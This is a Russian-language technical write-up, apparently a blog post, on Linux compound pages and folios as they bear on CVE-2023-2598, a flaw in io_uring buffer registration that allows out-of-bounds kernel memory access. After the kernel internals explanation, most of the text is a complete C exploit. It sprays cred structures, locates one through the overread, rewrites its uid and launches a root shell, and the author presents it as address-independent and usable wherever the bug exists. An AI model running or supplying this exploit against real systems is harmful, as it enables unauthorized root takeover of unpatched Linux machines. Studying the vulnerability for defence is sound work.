
Технический анализ и PoC-эксплойт для CVE-2023-2598 — уязвимости повышения привилегий в ядре Linux в регистрации буферов io_uring, с подробным объяснением Compound Page и внутреннего устройства folio.
Понимание механизмов Compound Page и folio в Linux через CVE-2023-2598 с целью последующего использования 1day CVE-2023-6560
Объём памяти постоянно растёт, но базовый размер страницы в Linux по-прежнему составляет 4 КБ, что уже неэффективно. Поэтому были введены составные страницы для решения этой проблемы. Составная страница — это набор из нескольких страниц, объединённых в одну логическую единицу, при этом две или более физически смежных страницы компонуются вместе, и во многих аспектах их можно рассматривать как одну большую страницу. Они чаще всего используются для создания больших страниц в hugetlbfs или в подсистеме прозрачных больших страниц (transparent huge pages), но также встречаются и в других сценариях. Составные страницы могут использоваться как анонимная память или как буферы в ядре; однако они не могут появляться в page cache, так как page cache работает только с отдельными страницами.
Выделение составной страницы осуществляется вызовом alloc_pages() с установленным флагом __GFP_COMP и порядком страниц более 1 (то есть order >= 1). Это обусловлено механизмом реализации составных страниц.
Примечание: составные страницы обязательно физически непрерывны.
В первой странице (head page) флаг устанавливается как PG_head — маркер того, что это заголовочная страница составной страницы.
Все последующие страницы настраиваются с двумя свойствами: mapping и compound_head. С помощью compound_head определяется, является ли страница хвостовой или заголовочной. Подробнее в функции compound_head().
Во второй странице хранится дополнительная информация о составной странице, поэтому минимальный порядок составной страницы равен 1.
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page;
}
Видно, что это поле содержит не только флаг, но и указатель на head page.
Поэтому при получении page легко определить, является ли он составной страницей, и если да, то является ли он head page или tail page. Однако не хватает ключевой информации — размера составной страницы. Если размер неизвестен, то при освобождении составной страницы его необходимо знать. Вся эта информация хранится в поле lru первой хвостовой страницы: размер (order) составной страницы сначала приводится к типу указателя, затем сохраняется в lru.prev, а деструктор — в lru.next.
Зная head page и размер составной страницы, можно корректно освободить эту большую страницу, так как составные страницы физически непрерывны.
Структура показана на рисунке:

folio можно рассматривать как лёгкую обёртку над page, без накладных расходов. folio может быть как отдельной страницей, так и составной страницей.

На рисунке выше — схема структуры page: 64 байта управляют flags, lru, mapping, index, private, {ref_, map_}count, memcg_data и т.д. Когда page является составной страницей, указанные выше flags и другая информация находятся в head page, а tail page повторно использует поля для управления compound_{head, mapcount, order, nr, dtor} и т.д.
struct folio {
/* private: don't document the anon union */
union {
struct {
/* public: */
unsigned long flags;
struct list_head lru;
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
};
В определении структуры folio поля flags, lru и т.д. полностью совпадают с полями page, поэтому они могут быть объединены в union. Таким образом, можно напрямую использовать folio->flags, а не folio->page->flags.
#define page_folio(p) (_Generic((p), \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))
#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)
С первого взгляда page_folio может показаться запутанным, но на самом деле он эквивалентен:
switch (typeof(p)) {
case const struct page *:
return (const struct folio *)_compound_head(p);
case struct page *:
return (struct folio *)_compound_head(p)));
}
Из макроса page_folio видно, что folio — это, по сути, head page составной страницы. При преобразовании folio в page, folio->page используется для получения head page, а folio_page(folio, n) — для получения tail page.
Зачем нужен folio? В первую очередь, для разработки и эффективности. Если бы folio не было, функция не могла бы определить, является ли current page head page, и вызывала бы _compound_head. Если таких вызовов много на пути выполнения, каждый вызов _compound_head снижает производительность. Но если функция принимает только struct folio *, то этот folio уже указывает на head page, и внутри функции не нужно снова вызывать _compound_head.
Таким образом, основные преимущества:
compound_head.В io_uring в функции io_uring_register_buffer есть следующая логика:

Когда количество страниц, переданных из пользовательского пространства, больше 1, io_uring проверяет, является ли переданный buffer объектом folio. Проверка выполняется с помощью page_folio(): получаем head page для page[i], и если head page для page[i] равен head page для page[0], то считается, что они принадлежат одной составной странице.
В обычном случае эта обработка не вызывает проблем, но существует особый случай: если в пользовательском пространстве с помощью mmap отобразить одну и ту же физическую страницу на непрерывное виртуальное адресное пространство, это также удовлетворяет условию проверки, и тогда выполнение попадает в эту ветку:

В этот момент пользовательское пространство запросило только одну физическую страницу, но итоговый размер равен размеру непрерывной виртуальной памяти, что приводит к тому, что размер может превышать фактическую область физической памяти. В результате возникает переполнение при чтении/записи.
Распыление cred, а затем с помощью интерфейса выхода за границы (overread/overwrite) изменение uid.
В отличие от эксплойта, найденного в сети, этот эксплойт не зависит от адреса, так как изменяется uid. Если уязвимость присутствует, эксплойт можно использовать.
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600
#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
void err_exit(char *buf){
fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
exit(-1);
}
void log(char *buf){
fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
for(int i=0;i<CRED_DRAIN;i++){
int ret=fork();
if(!ret){
read(check_root_pipe[0],child_pipe_buf,1);
if(getuid()==0){
write(1, root_str, 71);
system("/bin/sh");
}
sleep(100000000);
}
check_ret(ret,"fork fail");
}
}
void clear_buddy(){
void * pages[MAX_PAGES];
for(int i=0;i<MAX_PAGES;i++){
pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
check_ret(pages[i],"mmap");
}
for(int i=0;i<MAX_PAGES;i++){
*(char *)pages[i]='a';
}
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi\n" /* save the rsi*/
" xor rsi, rsi\n" /* set esp and useless args to NULL */
" xor rdx, rdx\n"
" xor r10, r10\n"
" xor r8, r8\n"
" xor r9, r9\n"
" mov rax, 56\n" /* __NR_clone */
" syscall\n"
" cmp rax, 0\n"
" je child_fn\n"
" ret\n" /* parent */
"child_fn: \n"
" jmp r15\n" /* child */
);
}
int waiting_for_root_fn(void *args)
{
/* we're using the same stack for them, so we need to avoid cracking it.. */
__asm__ volatile (
" lea rax, [check_root_pipe]\n"
" xor rdi, rdi\n"
" mov edi, dword ptr [rax]\n"
" mov rsi, child_pipe_buf\n"
" mov rdx, 1\n"
" xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" syscall\n"
" mov rax, 102\n" /* getuid() */
" syscall\n"
" cmp rax, 0\n"
" jne failed\n"
" mov rdi, 1\n"
" lea rsi, [root_str]\n"
" mov rdx, 80\n"
" mov rax, 1\n" /* write(1, root_str, 71) */
" syscall\n"
" lea rdi, [bin_sh_str]\n"
" lea rsi, [shell_args]\n"
" xor rdx, rdx\n"
" mov rax, 59\n"
" syscall\n" /* execve("/bin/sh", args, NULL) */
"failed: \n"
" lea rdi, [timer]\n"
" xor rsi, rsi\n"
" mov rax, 35\n" /* nanosleep() */
" syscall\n"
);
return 0;
}
int main(){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(sched_getcpu(), &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int ret;
int memfd;
int rw_fd;
struct iovec iovec;
char *rw_buffer;
uint64_t start_addr=0x800000000;
int nr_pages=500;
char buf[1000];
//清空cred cache
log("drain cred cache");
pipe(check_root_pipe);
cred_drain();
//清空buddy system cache
log("clear buddy system cache");
clear_buddy();
//初始化io_uring
log("io_uring_setup");
ret=io_uring_queue_init(8,&ring,0);
check_ret(ret,"io_uring_setup fail");
//准备缓冲区
log("prepare buf to register");
memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
check_ret(memfd,"memfd_create fail");
rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
check_ret(rw_fd,"memfd_create fail");
check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
for(int i=0;i<nr_pages;i++){
check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
}
rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
check_ret(rw_buffer,"mmap fail");
//注册缓冲区
log("register buffer");
iovec.iov_base=start_addr;
iovec.iov_len=nr_pages*PAGE_SIZE;
check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
//spray cred
log("spray cred");
for(int i=0;i<CRED_SPRAY;i++){
check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
}
//search cred page
log("search crea page");
int page_offset=0;
for(int i=0;i<nr_pages;i++){
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
int uid=((int *)(rw_buffer))[1];
int gid=((int *)(rw_buffer))[2];
if(uid==1000 && gid==1000){
page_offset=i;
break;
}
}
if(page_offset==0){
err_exit("not find cred page");
}
//edit cred's uid
log("/edit cred's uid");
*(size_t *)(rw_buffer)=0x2;
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
//check privilege in child processes
log("check privilege in child processes");
write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
sleep(100000000);
}
Обратите внимание на этот фрагмент кода:

Если переданная составная страница действительно регистрируется, то io_uring не увеличивает счётчик ссылок для последующих страниц. Если пользовательское пространство отменяет отображение в середине составной страницы, то соответствующая область памяти, имеющая ссылку только 1, будет полностью освобождена, но размер, записанный в io_uring, не изменится. Таким образом, через io_uring можно выполнять чтение/запись за границы. К сожалению, мои тесты показали, что Linux не позволяет отменять отображение в середине составной страницы. Впрочем, это логично: если бы это было возможно, управление страницами стало бы очень сложным.